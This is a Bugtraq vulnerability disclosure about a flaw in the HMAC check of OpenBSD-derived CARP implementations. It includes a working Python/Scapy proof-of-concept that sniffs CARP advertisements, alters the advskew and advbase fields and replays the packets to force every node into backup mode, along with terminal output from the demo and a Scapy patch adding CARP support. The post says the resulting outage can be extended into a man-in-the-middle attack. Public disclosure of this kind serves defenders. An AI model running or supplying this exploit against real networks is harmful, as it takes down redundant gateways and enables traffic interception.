Hello Bugtraq, I disclosed this bug to the BSDs and no one is interested in fixing it so here you go. The two files attached are as follows:
* scapy-carp.patch - A patch against the latest Scapy (currently 2.1.0) so it understands the CARP protocol. The PoC won't work without the patch * carp-poc.py - A very quick and dirty PoC which will force all CARP nodes into backup mode. You need to be on the same Layer 2 as the CARP nodes. Also make sure you have the correct interface selected Happy hacking, wolfie ============== VULNERABILITY DETAILS ============== The OpenBSD CARP implementation (and all derivatives, such as FreeBSD and NetBSD) fails to include all fields contained in the "carp_header" structure[1] when calculating the SHA1 HMAC hash of the packet in the function carp_proto_input_c[2]. The two 8-bit fields not included in the hash generation are "carp_advskew" and "carp_advbase". Among other functions, the fields are both set to 255 by the master CARP node to indicate that it wants to step down from the master role. This behaviour can be exploited to force a backup member to assume the role of master by capturing a master CARP advertisement, updating the two fields in question to 255 and replaying the modified packet. A backup node will receive this packet and the hash check will be satisfied as the two modified fields are not included in the hash generation. A backup node will now assume the master role and the current master will step down to backup. At this point, the attacker can now capture an advertisement from the new master. By replaying both of the unmodified master advertisements, all CARP nodes assume the backup role. At this point, a Denial of Service (DoS) condition has been introduced as no device answers ARP requests for the Virtual IP (VIP). The attacker can now decide whether to start answering ARP for the VIP therefore performing a Man in the Middle (MitM) attack. [1] http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_carp.h?rev=1.28 [2] http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_carp.c?rev=1.179 ================ DEMO OF ATTACHED CODE ================ --------------------------- MASTER CARP NODE --------------------------- # uname -a; id OpenBSD ipsec.carpdemo 4.8 GENERIC#136 i386 uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) # ifconfig carp0 create carpdev vic0 pass supersecretpassword vhid 50 state master carppeer 192.168.252.138 192.168.50.1/24 # ifconfig carp0 carp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 lladdr 00:00:5e:00:01:32 priority: 0 carp: MASTER carpdev vic0 vhid 50 advbase 1 advskew 0 carppeer 192.168.252.138 groups: carp status: master inet6 fe80::200:5eff:fe00:132%carp0 prefixlen 64 scopeid 0x5 inet 192.168.50.1 netmask 0xffffff00 broadcast 192.168.50.255 # ifconfig carp0 carp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 lladdr 00:00:5e:00:01:32 priority: 0 carp: BACKUP carpdev vic0 vhid 50 advbase 1 advskew 0 carppeer 192.168.252.138 groups: carp status: backup inet6 fe80::200:5eff:fe00:132%carp0 prefixlen 64 scopeid 0x5 inet 192.168.50.1 netmask 0xffffff00 broadcast 192.168.50.255 # --------------------------- BACKUP CARP NODE --------------------------- # uname -a; id OpenBSD backdoor.carpdemo 4.8 GENERIC#136 i386 uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) # ifconfig carp0 create carpdev vic0 pass supersecretpassword vhid 50 state backup carppeer 192.168.252.137 192.168.50.1/24 # ifconfig carp0 carp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 lladdr 00:00:5e:00:01:32 priority: 0 carp: BACKUP carpdev vic0 vhid 50 advbase 1 advskew 0 carppeer 192.168.252.137 groups: carp status: backup inet6 fe80::200:5eff:fe00:132%carp0 prefixlen 64 scopeid 0x5 inet 192.168.50.1 netmask 0xffffff00 broadcast 192.168.50.255 # ifconfig carp0 carp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 lladdr 00:00:5e:00:01:32 priority: 0 carp: BACKUP carpdev vic0 vhid 50 advbase 1 advskew 0 carppeer 192.168.252.137 groups: carp status: backup inet6 fe80::200:5eff:fe00:132%carp0 prefixlen 64 scopeid 0x5 inet 192.168.50.1 netmask 0xffffff00 broadcast 192.168.50.255 # ------------------------------ ATTACKERS COMPUTER ------------------------------ r...@traumatic:/files/tools# ./carp-poc.py WARNING: No route found for IPv6 destination :: (no default route?) [*] capturing current master's advertisement [*] forcing failover of master [*] waiting for new master to be elected [*] capturing new master's advertisement [*] replaying both captured packets
#!/usr/bin/env python """ CARP DoS PoC by wolfie wol...@ontogeny.ac.nz Make sure the iface var below is correct for your machine :) """ from scapy.all import * import time conf.verb = 0 iface = "vmnet8" print "[*] capturing current master's advertisement" r = sniff(iface = iface, filter = 'proto 112', count = 1) pkt = r[0] # save it for replay later fpkt = pkt.copy() # make sure checksums are updated automatically when the packet is sent pkt[IP].chksum = None pkt[CARP].chksum = None # set the two affected fields to force failover of current master pkt[CARP].advskew = 255 pkt[CARP].advbase = 255 print "[*] forcing failover of master" sendp(pkt, iface = iface, count = 1) print "[*] waiting for new master to be elected" time.sleep(2) print "[*] capturing new master's advertisement" pkt = sniff(iface = iface, filter = 'proto 112', count = 1) print "[*] replaying both captured packets" sendp([fpkt, pkt[0]], iface = iface, loop = 1, inter = 1)
diff -Nruw ../scapy-2.1.0-orig/scapy/config.py ./scapy/config.py --- ../scapy-2.1.0-orig/scapy/config.py 2010-12-18 14:10:38.000000000 +1300 +++ ./scapy/config.py 2010-12-18 14:11:39.000000000 +1300 @@ -366,7 +366,7 @@ netcache = NetCache() load_layers = ["l2", "inet", "dhcp", "dns", "dot11", "gprs", "hsrp", "inet6", "ir", "isakmp", "l2tp", "mgcp", "mobileip", "netbios", "netflow", "ntp", "ppp", "radius", "rip", "rtp", - "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr" ] + "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "carp" ] if not Conf.ipv6_enabled: diff -Nruw ../scapy-2.1.0-orig/scapy/layers/carp.py ./scapy/layers/carp.py --- ../scapy-2.1.0-orig/scapy/layers/carp.py 1970-01-01 12:00:00.000000000 +1200 +++ ./scapy/layers/carp.py 2010-12-18 14:36:29.000000000 +1300 @@ -0,0 +1,61 @@ +from scapy.packet import * +from scapy.layers.inet import IP +from scapy.fields import BitField, ByteField, XShortField, IntField, XIntField +from scapy.utils import checksum +import struct, hmac, hashlib + +class CARP(Packet): + name = "CARP" + fields_desc = [ BitField("version", 4, 4), + BitField("type", 4, 4), + ByteField("vhid", 1), + ByteField("advskew", 0), + ByteField("authlen", 0), + ByteField("demotion", 0), + ByteField("advbase", 0), + XShortField("chksum", 0), + XIntField("counter1", 0), + XIntField("counter2", 0), + XIntField("hmac1", 0), + XIntField("hmac2", 0), + XIntField("hmac3", 0), + XIntField("hmac4", 0), + XIntField("hmac5", 0) + ] + + def post_build(self, pkt, pay): + if self.chksum == None: + pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] + + return pkt + +def build_hmac_sha1(pkt, pw = '\0' * 20, ip4l = [], ip6l = []): + if not pkt.haslayer(CARP): + return None + + p = pkt[CARP] + h = hmac.new(pw, digestmod = hashlib.sha1) + # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field + h.update('\x21') + # XXX: mac addy if different from special link layer. comes before vhid + h.update(struct.pack('!B', p.vhid)) + + sl = [] + for i in ip4l: + # sort ips from smallest to largest + sl.append(inet_aton(i)) + sl.sort() + + for i in sl: + h.update(i) + + # XXX: do ip6l sorting + + return h.digest() + +""" +XXX: Usually CARP is multicast to 224.0.0.18 but because of virtual setup, it'll +be unicast between nodes. Uncomment the following line for normal use +bind_layers(IP, CARP, proto=112, dst='224.0.0.18') +""" +bind_layers(IP, CARP, proto=112) Binary files ../scapy-2.1.0-orig/scapy/layers/.carp.py.swp and ./scapy/layers/.carp.py.swp differ